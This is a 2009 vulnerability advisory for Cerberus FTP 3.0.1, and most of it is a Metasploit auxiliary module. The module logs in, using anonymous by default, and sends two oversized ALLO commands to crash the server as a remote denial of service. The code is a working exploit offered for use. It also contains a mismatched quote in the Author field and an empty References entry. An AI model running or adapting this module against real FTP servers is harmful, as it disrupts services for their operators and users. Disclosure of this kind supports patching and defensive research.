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Application:  Cerberus FTP 3.0.1
           
Platforms:    Windows XP Professional SP2

crash:       N/A
 
Exploitation: remote DoS

Date:         2009-08-24

Author:       Francis Provencher (Protek Research Lab's)
            

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1) Introduction
2) Technical details
3) The Code

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===============
1) Introduction

===============
Cerberus FTP Server is a secure and easy-to-use professional Windows FTP server featuring FIPS 140-2 certified encryption.

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============================
2) Technical details
============================

The validation of some ftp commands are not made by the server. This lead to a a DoS....

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===========
3) The Code
===========

Proof of concept DoS code;

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

 include Msf::Exploit::Remote::Ftp
 include Msf::Auxiliary::Dos
 
 def initialize(info = {})
  super(update_info(info, 
   'Name'           => 'Cerberus FTP command ALLO overflow',
   'Description'    => %q{
     You need to have a valid login
    so you can run ALLO command.
   },
   'Author'         => 'Francis Provencher "Protek Research Lab's",
   'License'        => MSF_LICENSE,
   'Version'        => '1',
   'References'     =>
    
   'DisclosureDate' => 'Aug 24 2009'))

  # They're required
  register_options([
   OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ]),
   OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'anonymous' ])
  ])
 end

 def run
  return unless connect_login

  print_status("Sending commands...")

  # We want to try to wait for responses to these
  raw_send("ALLO #{'A' * 20000}\r\n")
  raw_send("ALLO #{'A' * 20000}\r\n")

  disconnect
 end
end

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